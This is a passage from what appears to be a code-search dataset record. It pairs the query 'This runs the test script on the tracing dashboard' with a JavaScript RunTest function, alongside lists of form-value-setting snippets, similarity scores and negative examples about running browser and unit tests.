$(textId).val(option.value);\n $(textId).change();\n }\n\n}", "_setValue(value) {\n const that = this;\n\n that.value = value;\n that.$.input.value = value;\n\n that._number = that._numericProcessor.createDescriptor(value, true);\n\n that._setDropDownOptions();\n }", "setFormRef(name, ref) {\n this.setThisData(\"formRef\", name, ref)\n }", "function setModelValue(value) {\n model.setItem('value', value);\n }", "function updateField( F, S ){\n\t$( F ).val( $( F ).val( ) + S );\t//Appends content of TXT to the field FLD\n}", "setValue(value){\n const thisWidget = this;\n const newValue = thisWidget.parseValue(value);\n \n /* TODO: Add validation */\n if(newValue !=thisWidget.value && thisWidget.isValid(newValue)){\n thisWidget.value = newValue;\n thisWidget.announce();\n }\n thisWidget.renderValue();\n }", "valueOf(field, value){\n\t\tif(value === undefined){\n\t\t\treturn this.fields[field].getValue();\n\t\t}\n\t\telse{\n\t\t\tthis.fields[field].setValue(value);\n\t\t}\n\t}", "function updateForm(e) {\n\t\tconst value = e.target.value;\n\t\tupdateItemInfo({\n\t\t\t...itemInfo,\n\t\t\t[e.target.name]: value\n\t\t});\n\t}", "set value(_value) {\n this.setValue(_value);\n }", "function saveTerrainModificationForm() {\n var terrainModificationType = terrainModificationForms[terrainModificationIndex][\"terrain-modification\"];\n var formEntries = document.getElementById(\"custom-inputs\").getElementsByClassName(\"custom-input\");\n for (var i = 0; i < formEntries.length; i++) {\n var input = formEntries.item(i);\n var fieldName = input.id;\n terrainModificationForms[terrainModificationIndex][\"json\"][\"fields\"][fieldName][\"value\"] = input.value;\n }\n}", "function FormSetValue(strFormName, strInputName, newValue)\n{\n var strXPath = \"\";\n\n // Form name is optional, include it if necessary\n if (strFormName)\n\tstrXPath += '//form[@name=\\'' + strFormName + '\\']';\n\n // Input name is mandatory (else we cannot find the input box...)\n strXPath += '//input[@name=\\'' + strInputName + '\\']';\n\n var elem = document.evaluate(strXPath, document, null, XPathResult.ANY_UNORDERED_NODE_TYPE, null).singleNodeValue;\n\n // Return without action if element does not exist or is disabled\n if (!elem || elem.disabled)\n\treturn false;\n\n // Otherwise check the box and return true\n elem.value = newValue;\n return true;\n}", "_onSelectFieldChange(e, i, value) {\n this.setState({\n form: {\n ...this.state.form,\n quantifier: value\n }\n })\n }", "function afterSelectFieldValue(fieldName, selectedValue, previousValue, selectedValueRaw){\n\t\tif (valueExistsNotEmpty(selectedValueRaw)) {\n $('fieldValue').value = selectedValueRaw;\n \t} else {\n $('fieldValue').value = selectedValue;\n }\n return true;\n}", "function change_form_value(form_field,form_value,inputbox_id){\n //change the input box value\n document.getElementById(form_field).value=form_value;\n \n //Clear the list of ontology terms\n document.getElementById('input'+inputbox_id).innerHTML='';\n document.getElementById('input'+inputbox_id).style.border=\"0px\";\n \n //Add a checkmark next to the input box\n document.getElementById('valid'+form_field).innerHTML='&#10003;';\n document.getElementById('valid'+form_field).style.color=\"green\";\n}", "function change_form_value(form_field,form_value,inputbox_id){\n //change the input box value\n document.getElementById(form_field).value=form_value;\n \n //Clear the list of ontology terms\n document.getElementById('input'+inputbox_id).innerHTML='';\n document.getElementById('input'+inputbox_id).style.border=\"0px\";\n \n //Add a checkmark next to the input box\n document.getElementById('valid'+form_field).innerHTML='&#10003;';\n document.getElementById('valid'+form_field).style.color=\"green\";\n}", "function setValue(name, value) {\n var nameSelect = \"[name='\" + escapeName(name) + \"']\";\n jq(nameSelect).val(value);\n}", "@action\n setSaving(id, value) {\n // When saving, reset error state\n this.setError(id, false);\n this.setFieldState(id, FormState.SAVING, value);\n this.setFieldState(id, FormState.READY, !value);\n }", "function setInput(key, value) {\n setFormState({...formState, [ key ]: value})\n }", "function post_value(value, id, field) {\r\n opener.document.getElementById(field).innerHTML = value;\r\n opener.document.getElementById(field + \"_hidden\").value = id;\r\n self.close();\r\n}", "function setInputFieldId(index, value) {\n\n //debugger;\n\n //Intern_TableFieldIDs[index] = value;\n Intern_InputFieldIds[index] = value;\n Intern_InputFieldElems[index] = $(\"#\" + value);\n Intern_InputFieldTypes[index] = Intern_InputFieldElems[index].attr(\"type\");\n if (Intern_InputFieldTypes[index] === undefined)\n Intern_InputFieldTypes[index] = \"select\";\n }", "function add_to_form( formId, name, data ) {\n\n $('<input />').attr('type', 'hidden')\n .attr('name', name)\n .attr('value', data)\n .appendTo( formId );\n\n}", "function us_quickchange() {\r\n\tvar artist = document.forms[0].elements[0].value;\r\n\tdocument.forms[0].elements[0].value = document.forms[0].elements[1].value;\r\n\tdocument.forms[0].elements[1].value = artist;\r\n}", "_assignToActorField (fields, value) {\n const actorData = duplicate(this.actor)\n const lastField = fields.pop()\n fields.reduce((data, field) => data[field], actorData)[lastField] = value\n this.actor.update(actorData)\n }", "function setLocalStorage(fieldName, value) {\n\twindow.localStorage.setItem(fieldName, JSON.stringify(value));\t\n}", "@action\n updateData(fieldName, value, validators) {\n transaction(() => {\n this.entity.set(fieldName, value)\n if(validators) {\n this._validateField(fieldName, value, validators)\n }\n })\n }", "setValue(new_value) {\n this.value = new_value;\n /* istanbul ignore else */\n if (this._onChange) {\n this._onChange(new_value);\n }\n }", "function setPartValue(elem, value){\n\n\t\t//Set value\n\t\t$(elem).val(value);\n\n\t\t//Fire native change event\n\t\tvar elem = $(elem).get(0);\n\t\t\n\t\tsendEvent(elem, \"input\");\n\t}", "function setImageField($field, value) {\n var $parent = $field.parent().parent();\n $parent.find(\".cq-dd-image\").attr(\"src\",value);\n }", "function saveField(sessionId, garmentId, key, value) {\n if (value === undefined) return;\n console.assert(typeof sessionId === \"string\");\n console.assert(typeof garmentId === \"number\");\n console.assert(typeof key === \"string\");\n if (key === \"ItemMatrix\") {\n console.assert(typeof value === \"object\");\n console.assert(typeof value[0] === \"string\");\n } else {\n console.assert(typeof value === \"string\");\n }\n var pairs = garment(sessionId, garmentId);\n for (var i=0; i<pairs.length; ++i) {\n var pair = pairs[i];\n if (pair[0] == key) {\n pair[1] = value;\n return;\n }\n }\n \n // add it to the end\n pairs[pairs.length] = [key, value];\n savePermacookie();\n}" ]
[ "0.72833765", "0.69998914", "0.6862587", "0.6816653", "0.6610181", "0.6610181", "0.650427", "0.6403064", "0.639393", "0.6343454", "0.6343454", "0.6185129", "0.61660933", "0.61649126", "0.61405486", "0.60592854", "0.6007573", "0.600522", "0.5986714", "0.5986714", "0.5986714", "0.5951035", "0.5923538", "0.59005564", "0.58917695", "0.58842796", "0.5863941", "0.5857252", "0.5853467", "0.5830774", "0.5830637", "0.581615", "0.5762817", "0.5740215", "0.5731596", "0.5731389", "0.57289726", "0.57187605", "0.57174003", "0.5714571", "0.57020414", "0.5695498", "0.569321", "0.5668427", "0.56671524", "0.5665456", "0.5658153", "0.56300914", "0.56227183", "0.56201303", "0.5616546", "0.56026", "0.55740124", "0.55487067", "0.5548217", "0.55424243", "0.5537265", "0.5536468", "0.55351955", "0.5528749", "0.5528509", "0.552182", "0.552126", "0.55172527", "0.551672", "0.5504415", "0.54974884", "0.5496598", "0.5492754", "0.54891235", "0.54812115", "0.5479054", "0.5475703", "0.5472685", "0.54682815", "0.54680747", "0.54534125", "0.54461867", "0.5439171", "0.542012", "0.541586", "0.5408829", "0.5404404", "0.5400802", "0.5399351", "0.5399351", "0.5392489", "0.53899604", "0.5387256", "0.5384718", "0.53825915", "0.5378395", "0.53712046", "0.5362124", "0.5355409", "0.5352296", "0.5351529", "0.5348281", "0.53478837", "0.53414965" ]
0.61499584
14
This runs the test script on the tracing dashboard.
function RunTest(formID) { // Get the path URL. var myUrl = document.getElementById(formID + "_pathURL").value; // Get the base URL. var baseUrl = document.getElementById(formID + "_baseURL").value; // From the sandbox we compute the full URL. var fullUrl = baseUrl + "/" + myUrl; // Open it in a new window. window.open(fullUrl, "sandboxWindow"); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "run_test() { start_tests(); }", "function testRun()\r\n{\r\n}", "function onRunTestClicked(e) {\n e.preventDefault();\n executableModuleMessageChannel.send('ui_backend', {'command': 'run_test'});\n}", "function runTest() {\n Logger.log(\"This is the newest test\");\n}", "function runTest(test) {\n debug(\"parsing test\");\n var testConfig = jf.readFileSync(process.env.SUITE_CONFIG);\n var wptLoc = testConfig.wptServer\n ? testConfig.wptServer\n : \"https://www.webpagetest.org\";\n\n var wpt = new WebPageTest(wptLoc, testConfig.wptApiKey),\n options = {\n pollResults: 5, //poll every 5 seconds\n timeout: 600, //wait for 10 minutes\n video: true, //this enables the filmstrip\n location: test.location,\n firstViewOnly: test.firstViewOnly, //refresh view?\n requests: false, //do not capture the details of every request\n lighthouse: true\n };\n\n wptScript = wpt.scriptToString(test.script);\n\n debug(\n \"starting test on script \" + wptScript + \" in location \" + test.location\n );\n\n wpt.runTest(wptScript, options, function(err, results) {\n if (err) {\n return console.error([err, { url: test.url, options: options }]);\n }\n dataStore.saveDatapoint(test, results);\n });\n}", "function run_all_scripts_data()\n\n{\n \n \n runDemo_test();\n runDemo_tiscali();\n runDemo_gnocca();\n \n// runDemo_test_events();\n// runDemo_test_events_2();\n// runDemo_tiscali_events ();\n}", "function run(){\n\n\tdescribe(\"XML Tester\", function(){\n\t\t\n\t\t//gameName = process.env.npm_config_gamename;\n\t\t//console.log(\"Testing \" + gameName);\n\t\t\n\t\t//findXML();\n\t\t//parseXML();\n\t\t//loadGame();\n\t\t//StartMultiGameTest();\n\t});\n}", "function run_test() {\n do_calendar_startup(run_next_test);\n}", "function _test(scriptfile, cb){\n\t\n\tvar args = util_args2json();\n\tvar file = path.join(__dirname, path.normalize(scriptfile));\n\n\tconsole.log(\"@testing \"+ chalk.blue(file) +\" with args:\", args );\n\n\n\t//cloudfn.verify.rawfile(file);\n\t// or\n\tcloudfn.run.rawfile(file, args);\n\n\t// thinking is, that scripts might be using things available in the server.api -> which we cant \"run\" locally\n\t// req and res springs to mind. Lets see. \n}", "async function main() {\n const g_tests = async (flag) => {\n let test_base;\n let prefix = '';\n switch (flag) {\n case 'm':\n test_base = test_base_general;\n prefix = 'test_';\n break;\n case 'a':\n test_base = test_base_audio;\n prefix = 'test_';\n break;\n case 's':\n case 'c':\n test_base = test_base_toc;\n break;\n }\n ;\n const retval = await get_tests(`${test_base}/index.json`, prefix);\n return retval;\n };\n const preamble_run_test = async (name) => {\n if (name[0] === 'm' || name[0] === 'a' || name[0] === 's' || name[0] === 'c') {\n const tests = await g_tests(name[0]);\n run_test(tests[name].url);\n }\n else {\n throw new Error('Abnormal test id...');\n }\n };\n try {\n if (process.argv && process.argv.length > 2) {\n if (process.argv[2] === '-sm' || process.argv[2] === '-sa') {\n const label = process.argv[2][2];\n const tests = await g_tests(label);\n const scores = generate_scores(tests);\n console.log(JSON.stringify(scores, null, 4));\n }\n else if (process.argv[2] === '-l') {\n // run a local test that is not registered in the official test suite\n run_test(process.argv[3]);\n }\n else {\n preamble_run_test(process.argv[2]);\n }\n }\n else {\n preamble_run_test('m4.01');\n }\n }\n catch (e) {\n console.log(`Something went very wrong: ${e.message}`);\n process.exit(1);\n }\n}", "function run_tests(showbanner)\n{\n\tDEBUG = true;\n\tlog.redirect(log.CONSOLE);\n\tlog.init();\n\t\n\tvar rootcon = new Console();\n\tneuro_addKeyPressListener(rootcon.keyListener);\n\tneuro_addKeyUpListener(rootcon.keyUpListener);\n\tneuro_addKeyDownListener(rootcon.keyDownListener);\n\t\n\tlog.info(\"JU Test thinks you are running: \" + SysBrowser.getGuessDisplay());\n\t//log.info(new SysBrowser().report(true));\n\t\n\tif(showbanner)\n\t\tju_show_banner();\n\t\n\tresultsdiv = document.getElementById(\"testresults\");\n\t\n\t//for(i in this)\n\tfor(i in Tests)\n\t{\n\t\t//if it looks like a test function\n\t\tvar arry = i.toString().match(/^test_/);\n\t\tif(arry != null && arry.length > 0)\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\teval( \"ju_test_results.put('\"+i+\"',eval(Tests.\" + i+\"()))\" );\n\t\t\t}\n\t\t\tcatch(e)\n\t\t\t{\n\t\t\t\tju_test_results.put(i, JUAssert.fail() );\n\t\t\t\tlog.error(e);\n\t\t\t}\n\t\t}\n\t}\n\t\n\tju_display_results();\n}", "run() {\n // Display the beginning of the test suite.\n _logPassed('# AUDIT TASK RUNNER STARTED.');\n\n // If the argument is specified, override the default task sequence with\n // the specified one.\n if (arguments.length > 0) {\n this._taskSequence = [];\n for (let i = 0; i < arguments.length; i++) {\n let taskLabel = arguments[i];\n if (!this._tasks.hasOwnProperty(taskLabel)) {\n _throwException('Audit.run:: undefined task.');\n } else if (this._taskSequence.includes(taskLabel)) {\n _throwException('Audit.run:: duplicate task request.');\n } else {\n this._taskSequence.push(taskLabel);\n }\n }\n }\n\n if (this._taskSequence.length === 0) {\n _throwException('Audit.run:: no task to run.');\n return;\n }\n\n for (let taskIndex in this._taskSequence) {\n let task = this._tasks[this._taskSequence[taskIndex]];\n // Some tests assume that tasks run in sequence, which is provided by\n // promise_test().\n promise_test((t) => task.run(t), `Executing \"${task.label}\"`);\n }\n\n // Schedule a summary report on completion.\n promise_test(() => this._finish(), \"Audit report\");\n\n // From testharness.js. The harness now need not wait for more subtests\n // to be added.\n _testharnessDone();\n }", "async function run_test(url) {\n try {\n const results = await process_1.process_manifest(url, test_profiles, true);\n console.log(bridge_1.processedToString(results));\n }\n catch (e) {\n console.log(`Something went wrong: ${e.message}`);\n process.exit(1);\n }\n}", "function testLoad()\n{\n getAndDisplayDataStoreSummary();\n\n} // testLoad", "function executeTests() {\n\n\tconsole.log('Executing tests...');\n\n\tsetupOutput();\n\n\tfor (var testFile of tests) {\n\t\tconsole.log('Running test %s', testFile);\n\n\t\trequire(testFile);\n\t}\n}", "function myTestName() {\n var testName = \"My Test Name\";\n logStart(testName);\n try {\n target.captureScreenWithName(\"screen name\");\n logMessage(\"1. First Step.\");\n \n // add steps here\n \n target.captureScreenWithName(\"Reading List\");\n logPass(testName);\n }\n catch(exception) {\n logMessage(\"TEST FAILED - \" + exception);\n logMessage(\"Logging Element Tree\");\n app.logElementTree();\n logFail(testName);\n }\n}", "function runTests() {\n\ttestBeepBoop();\n\ttestGetDigits();\n}", "function runIntegrationTest() {\n Assert.runTests(integrationTestObject);\n}", "function doTest() {\n\n // 1. Run the script action when the script is loaded - For scenario 1\n lookupNextMeeting();\n\n // 2. Check for result after waiting for an enough LONG time\n host.setTimeout(function () { checkForCases(); }, 15000);\n}", "function launchCMD(number) {\r\n report_deleter();\r\n // Folliwng code will be needed to start specific test cases\r\n // uiveri5 --v --specFilter=tc_001,tc_002\r\n child = spawn(\"powershell.exe\", [\r\n \"echo 'Starting Visual Tester';cd Electron_UIveri5; UIVERI5 --specFilter=tc_00\" +\r\n number,\r\n ]);\r\n dataOutput(function (data) {});\r\n}", "runTestCasesAndFinish()\n {\n this.runTestCases();\n InspectorTest.completeTest();\n }", "function main() {\n const allResults = [];\n fs.readdirSync(constants.OUT_PATH).forEach(siteDir => {\n const sitePath = path.resolve(constants.OUT_PATH, siteDir);\n if (!utils.isDir(sitePath)) {\n return;\n }\n allResults.push({site: siteDir, results: analyzeSite(sitePath)});\n });\n const generatedResults = groupByMetrics(allResults);\n fs.writeFileSync(\n GENERATED_RESULTS_PATH,\n `var generatedResults = ${JSON.stringify(generatedResults)}`\n );\n console.log('Opening the charts web page...'); // eslint-disable-line no-console\n opn(path.resolve(__dirname, 'index.html'));\n}", "function main() {\n if (isPushBuild()) {\n log('Running all tests because this is a push build...');\n runLintChecks();\n APPS_TO_TEST.forEach(runAppTests);\n } else {\n printChangeSummary();\n runLintChecks();\n determineBuildTargets().forEach(runAppTests);\n }\n}", "function PerformanceTestCase() {\n}", "async function runTests() {\n await fse.remove(\"cypress/report\");\n await cypress.run({\n spec: \"cypress/integration/**/*.spec.ts\",\n });\n const jsonReport = await merge({\n reportDir: \"cypress/report\",\n });\n await generator.create(jsonReport, {\n reportDir: \"cypress/report\",\n reportTitle: \"Bridge-X E2E All Test\",\n });\n await fse.writeJson(\"cypress/report/mochawesome-stat.json\", jsonReport, { spaces: 2 });\n}", "function test() {\n console.log('Beginning test process!'.blue);\n projects.action = 'test';\n github.getCredentials()\n .catch(janitor.error('Failure getting credentials'.red))\n .then(greenlight.getGradable)\n .catch(janitor.error('Failure getting sessions'.red))\n .then(sessions.selectSession)\n .catch(janitor.error('Failure selecting session'.red))\n .then(projects.selectProject)\n .catch(janitor.error('Failure selecting project'.red))\n .then(grabTests)\n .catch(janitor.error('Failure grabbing tests'.red))\n .then(runTests)\n .catch(janitor.error('Failure running tests'.red))\n .then(displayResults)\n .catch(janitor.error('Failure displaying results'.red))\n .then(() => console.log('Successfully concluded test.'.blue))\n .catch((err) => { console.error(err); });\n}", "async function run() {\n try {\n core.info(`start`);\n const url = core.getInput('url')\n await io.rmRF(old);\n if(fs.existsSync(dest)) {\n await io.mv(dest, old);\n }\n core.info(`fetch ${url} screenshot`);\n await screenshot(url, dest);\n //await report(url);\n //const chrome = await chromeLauncher.launch({chromeFlags: ['--headless']});\n const options = {logLevel: 'info', output: 'html', onlyCategories: ['performance']};\n const runnerResult = await lighthouse(url, options);\n const reportHtml = runnerResult.report;\n fs.writeFileSync('lighthouse/report.html', reportHtml);\n\n core.setOutput('time', new Date().toTimeString());\n } catch (error) {\n core.setFailed(error.message);\n }\n}", "function runTest(test) {\n test.testOptions.screenCapture = './accessability-test/output/' + test.name +'.png'\n var options = { \n ...test.testOptions, \n standard: 'Section508'}; //standard: 'Section508'}; standard: 'WCAG2AAA'; \"WCAG2A\"; WCAG2AA}; \n pa11y(test.url, options).then((results) => {\n results.screenGrab = test.name + '.png';\n var htmlResults = accReporter.process(results, test.url, true);\n fs.writeFile('accessability-test/output/'+ test.name + '.html', htmlResults, function(err) {})\n }).catch((err) => {\n console.log(err);\n });\n}", "function runTest () {\n execSync('yarn test');\n}", "function driver_run()\n{\n ClassRepo.initialize(\"demo_data.json\");\n ScheduleBuilder.initialize(\"ScheduleBuilder\");\n Form.initialize(\"IGETCForm\");\n IGETCTable.initialize(\"IGETCTable\", builder);\n Analytics.initialize();\n}", "function ts_staging_regression_login_page()\n\n{\n// open_application(\"INRstar\");\n\n//Test cases to be run within the Test Suite\n tc_log_on_to_inrstar_valid_credentials();\n tc_log_on_to_inrstar_no_credentials();\n tc_log_off_inrstar();\n// tc_password_reset_code_email();\n \n//Probably need a close application here\n //close_application\n}", "function runScript() {\n var entry = ProjectManager.getSelectedItem();\n if (entry === undefined) {\n entry = DocumentManager.getCurrentDocument().file;\n }\n var path = entry.fullPath,\n args = [],\n text = DocumentManager.getCurrentDocument().getText(),\n argsmatch = text.match(/brackets-xunit:\\s*args=\\S+/),\n argsstr = '',\n argsout = '';\n \n if (argsmatch !== null && argsmatch.length > 0) {\n argsstr = argsmatch[0].substring(argsmatch[0].indexOf(\"=\") + 1);\n args = argsstr.split(',');\n argsout = '';\n var i;\n for (i = 0; i < args.length; i++) {\n argsout = argsout + args[i] + \" \";\n }\n }\n nodeConnection.domains.process.spawnSession({executable: path, args: args, cacheTime: 100}).done(function (status) {\n var template = require(\"text!templates/process.html\"),\n html = Mustache.render(template, { path: path, title: \"script - \" + path, args: argsout}),\n newWindow = window.open(\"about:blank\", null, \"width=600,height=200\");\n newWindow.document.write(html);\n newWindow.document.getElementById(\"exitcode\").innerHTML = \"running with pid \" + status.pid;\n newWindow.focus();\n _windows[status.pid] = {window: newWindow, startTime: new Date(), type: \"script\"};\n });\n }", "function runTest() {\n return exports.handler(test_input3, test_context, function(err, result) {\n if (err) console.error(err);\n else console.log(result);\n });\n}", "async exec () {\n const { context, results, parameters } = this\n const start = process.hrtime()\n\n const { test } = context\n if (typeof test.beforeAll === 'function') test.beforeAll.call(this, this.beforeAll)\n if (typeof test.afterAll === 'function') test.afterAll.call(this, this.afterAll)\n\n const { driver, client } = test.options\n\n // TODO: log more of the client\n const logContext = {\n driver,\n mode: context.mode,\n browser: client.browser.name,\n ' width': client.width,\n ' height': client.height,\n attempt: this.attempt > 1 ? chalk.bold(chalk.red(this.attempt)) : this.attempt,\n }\n\n let { description } = context.test\n if (typeof description === 'function') description = description.call(this)\n\n if (description && typeof description === 'string') {\n this._log(`${chalk.underline(context.test.filename)}: ${description.trim()}`)\n } else {\n this._log(`${chalk.underline(context.test.filename)}:`)\n }\n\n this._log(` config:`)\n Object.keys(logContext).forEach((key) => {\n this._log(` ${key}: ${logContext[key]}`)\n })\n\n if (parameters) {\n this._log(` parameters:`)\n Object.keys(parameters).forEach((key) => {\n this._log(` ${key}: ${parameters[key]}`)\n })\n }\n\n this._log(' steps:')\n\n await this.runTest()\n\n const success = results.every(result => result.skip || result.success)\n\n const elapsedTime = getElapsedTime(start)\n const time = `(${logElapsedTime(elapsedTime)})`\n this._log(` ${chalk.bold(success ? chalk.green('✔ PASS ' + time) : chalk.red('✕ FAIL ' + time))}`)\n this._log('')\n\n if (!context.runnerOptions.stream) console.log(this._logs.join('\\n'))\n\n return {\n context,\n results,\n success,\n elapsedTime,\n }\n }", "function _run () {\n // Set up Guideline-specific behaviors.\n var noop = function () {};\n for (var guideline in quail.guidelines) {\n if (quail.guidelines[guideline] && typeof quail.guidelines[guideline].setup === 'function') {\n quail.guidelines[guideline].setup(quail.tests, this, {\n successCriteriaEvaluated: options.successCriteriaEvaluated || noop\n });\n }\n }\n\n // Invoke all the registered tests.\n quail.tests.run({\n preFilter: options.preFilter || function () {},\n caseResolve: options.caseResolve || function () {},\n testComplete: options.testComplete || function () {},\n testCollectionComplete: options.testCollectionComplete || function () {},\n complete: options.complete || function () {}\n });\n }", "function run_selectedTests() {\r\n\tadd_UnSelectedTestsToShould_ignore();\r\n\tvar suite = framework.createTestSuite(framework.testcaseArray[\"suiteName\"]);\r\n\tfor (var tc in framework.testcaseArray) {\r\n\t\tsuite.add(framework.testcaseArray[tc]);\r\n\t}\r\n\tframework.runSuite(suite);\r\n\t//enable the four display button\r\n\tdocument.getElementById('btnXML').style.display = 'inline';\r\n\tdocument.getElementById('btnTAP').style.display = 'inline';\r\n\tdocument.getElementById('btnJUnitXML').style.display = 'inline';\r\n\tdocument.getElementById('btnJSON').style.display = 'inline';\r\n\tdocument.getElementById('btnSendReport').style.display = 'inline';\r\n}", "function runTest(oTest) {\n\t\t\tfunction onLoad() {\n\t\t\t\tvar oQUnit = oTest.frame.contentWindow.QUnit;\n\n\t\t\t\toTest.frame.removeEventListener(\"load\", onLoad);\n\t\t\t\t// see https://github.com/js-reporters/js-reporters (@since QUnit 2)\n\t\t\t\toQUnit.on(\"runStart\", function (oDetails) {\n\t\t\t\t\toTest.testCounts = oDetails.testCounts;\n\t\t\t\t\toTest.testCounts.finished = 0;\n\t\t\t\t\toTest.infoNode.data = \": 0/\" + oTest.testCounts.total;\n\t\t\t\t});\n\t\t\t\toQUnit.on(\"testEnd\", function () {\n\t\t\t\t\toTest.testCounts.finished += 1;\n\t\t\t\t\toTest.infoNode.data = \": \" + oTest.testCounts.finished + \"/\"\n\t\t\t\t\t\t+ oTest.testCounts.total;\n\t\t\t\t});\n\t\t\t\toQUnit.on(\"runEnd\", function (oDetails) {\n\t\t\t\t\toTest.testCounts = oDetails.testCounts;\n\t\t\t\t\tsummary(oDetails.runtime, oTest);\n\t\t\t\t\toTest.element.firstChild.classList.remove(\"running\");\n\t\t\t\t\tif (oDetails.status === \"failed\") {\n\t\t\t\t\t\toTest.element.firstChild.classList.add(\"failed\");\n\t\t\t\t\t\toFirstFailedTest = oFirstFailedTest || oTest;\n\t\t\t\t\t} else if (!mParameters.keepResults) {\n\t\t\t\t\t\t// remove iframe in order to free memory\n\t\t\t\t\t\tdocument.body.removeChild(oTest.frame);\n\t\t\t\t\t\toTest.frame = undefined;\n\t\t\t\t\t}\n\t\t\t\t\tif (bVisible && oTest === oSelectedTest) {\n\t\t\t\t\t\tselect(oTest); // unselect the test to make it invisible\n\t\t\t\t\t}\n\t\t\t\t\tiRunningTests -= 1;\n\t\t\t\t\tnext();\n\t\t\t\t});\n\t\t\t}\n\n\t\t\toTest.top = iTop;\n\t\t\tiTop += 1000;\n\t\t\toTest.frame = document.createElement(\"iframe\");\n\t\t\toTest.frame.src = oTest.url;\n\t\t\toTest.frame.setAttribute(\"height\", \"900\");\n\t\t\toTest.frame.setAttribute(\"width\", \"1600\");\n\t\t\toTest.frame.style.position = \"fixed\";\n\t\t\toTest.frame.style.top = oTest.top + \"px\";\n\t\t\tdocument.body.appendChild(oTest.frame);\n\t\t\toTest.element.firstChild.classList.add(\"running\");\n\t\t\tiRunningTests += 1;\n\t\t\toTest.frame.addEventListener(\"load\", onLoad);\n\t\t\tif (bVisible) {\n\t\t\t\tselect(oTest);\n\t\t\t}\n\t\t}", "function retrieveUnitTests()\n{\n // get the manifest and status filter\n var manifest = getTestSuiteManifest();\n var status = getUnitTestStatusFilter();\n\n // note the test cases are loading\n document.getElementById('unit-tests').innerHTML = \"<span style=\\\"font-size: 150%; font-weight: bold; color: #f00\\\">Test Cases are Loading...</span>\";\n\n // send the HTTP request to the crazy ivan web service\n sendRequest('retrieve-tests?manifest=' + manifest +\n '&status=' + status, displayUnitTests)\n}", "function runScript() {\n\tconsole.time(\"index\");\n var job = tabs.activeTab.attach({\n \tcontentScriptFile: [self.data.url(\"models_50_wif/benign/CompositeBenignCountsA.js\"),\n \t\t\t\t\t\tself.data.url(\"models_50_wif/benign/CompositeBenignCountsAB.js\"),\n\t\t\t\t\t\tself.data.url(\"models_50_wif/benign/CompositeBenignTotal.js\"),\n\t\t\t\t\t\tself.data.url(\"models_50_wif/malicious/CompositeMaliciousTotal.js\"),\n \t\t\t\t\t\tself.data.url(\"models_50_wif/malicious/CompositeMaliciousCountsA.js\"),\n \t\t\t\t\t\tself.data.url(\"models_50_wif/malicious/CompositeMaliciousCountsAB.js\"),\n self.data.url(\"CompositeWordTransform.js\"),\n \t\t\t\t\t\tself.data.url(\"DetectComposite.js\")]\n \n \n });\n \n job.port.on(\"script-response\", function(response) {\n\t\n\tconsole.log(response);\n });\n}", "function sharedWorkerTest(script)\n{\n var worker = new SharedWorker(script, 'Notification API LayoutTest worker');\n supportTestRunnerMessagesOnPort(worker.port);\n\n fetch_tests_from_worker(worker);\n}", "function runTest(callback) {\n currentIncrement = testsToRun[0];\n odfeRunner.setTestIncrement(currentIncrement);\n odfeRunner.setDocsBaseDir(testClassesDirectory);\n\tcurrentTest = currentIncrement.test;\n console.log(\"\\nRun test \" + currentTest);\n\tfs.copy(srcDir + currentTest, trgDir + currentTest, function (err) {\n\t\tif (err) {\n\t\t\tcallback(err);\n\t\t} else {\n\t\t\tconsole.log(\"To Run Moved \" + srcDir + currentTest + \" to \" + trgDir + currentTest);\n\t\t\ttestsToRun.shift();\n async.series([\n cover,\n parseCoverage,\n odfe,\n deleteTrgTest,\n deleteTrgTestFromTarget\n ], function (err) {\n console.log(\"Run test done for \" + currentTest);\n callback();\n });\n\t\t}\n\t});\n}", "function beforeTest()\n{\n\tconsole.log(\"'beforeTest' executed\");\n}", "async runTests({tests} = {}) {\n const vizTargetRoot = document.getElementById('vizTargetRoot');\n\n for (const {screenshotOutputPath, testName, suiteName} of tests) {\n // This is to call out tests that may be 'hung', which is helpful for debugging\n const hungConsoleWarningTimeout = setTimeout(\n () => {\n console.log(`${suiteName}/${testName} being slow.`);\n },\n 5 * 1000\n );\n\n const target = vizTargetRoot.appendChild(document.createElement('div'));\n const {testRunner} = this.registeredTests.find((test) => test.testName === testName && test.suiteName === suiteName);\n const testInitializer = this.registeredTestInitializers[suiteName] || noop;\n const testFinalizer = this.registeredTestFinalizers[suiteName] || noop;\n\n // Run the test to render something to the viewport\n let screenshotTarget;\n\n try {\n await testInitializer();\n screenshotTarget = await testRunner(target);\n } catch (e) {\n console.error(`Error running test ${suiteName}/${testName}`, e);\n }\n\n if (!screenshotTarget) {\n throw new Error(`No screenshot target returned from test ${suiteName}/${testName}. Did you forget to 'return'?`);\n }\n\n let targetRect = screenshotTarget.getBoundingClientRect();\n\n // If the screenshot target has a parent, add the parent's padding to the clipping rectangle.\n if (screenshotTarget.parentElement && screenshotTarget.parentElement !== target) {\n const {\n paddingTop,\n paddingRight,\n paddingBottom,\n paddingLeft,\n } = window.getComputedStyle(screenshotTarget.parentElement);\n\n const paddingTopPx = parseInt(paddingTop.replace('px', '')) || 0;\n const paddingRightPx = parseInt(paddingRight.replace('px', '') || 0);\n const paddingBottomPx = parseInt(paddingBottom.replace('px', '') || 0);\n const paddingLeftPx = parseInt(paddingLeft.replace('px', '') || 0);\n\n targetRect = {\n x: targetRect.x - paddingLeftPx,\n y: targetRect.y - paddingTopPx,\n width: targetRect.width + paddingLeftPx + paddingRightPx,\n height: targetRect.height + paddingTopPx + paddingBottomPx,\n };\n }\n\n await window.takeScreenshot({\n targetRect,\n screenshotOutputPath,\n });\n\n try {\n await testFinalizer(target);\n } catch (e) {\n console.error(`Error calling afterEach for test ${suiteName}/${testName}`, e);\n }\n\n vizTargetRoot.removeChild(target);\n\n await window.resetMouse();\n\n clearTimeout(hungConsoleWarningTimeout);\n }\n }", "function tc_check_tests_due_tab()\n{ \n try\n {\n var test_title = 'Patient tests due - Check tests due tab'\n login('cl3@regression','INRstar_5','Shared');\n add_patient('Regression', 'tests_due', 'M', 'Shared'); \n add_treatment_plan('W','Hillingdon','','Shared','');\n add_historic_treatment(aqConvert.StrToDate(aqDateTime.AddDays(aqDateTime.Today(), (-7))), \"2.0\", \"2.0\", \"0\", \"7\", \"2.5\");\n\n var pat_name = get_patient_fullname();\n var tests_due_list_patient = get_tests_due_patient(pat_name);\n \n results_checker(tests_due_list_patient,test_title); \n Log_Off();\n }\n catch (e)\n {\n Log.Warning('Test \"' + test_title + '\" FAILED Exception Occured = ' + e);\n Log_Off(); \n }\n}", "enterAnd_test(ctx) 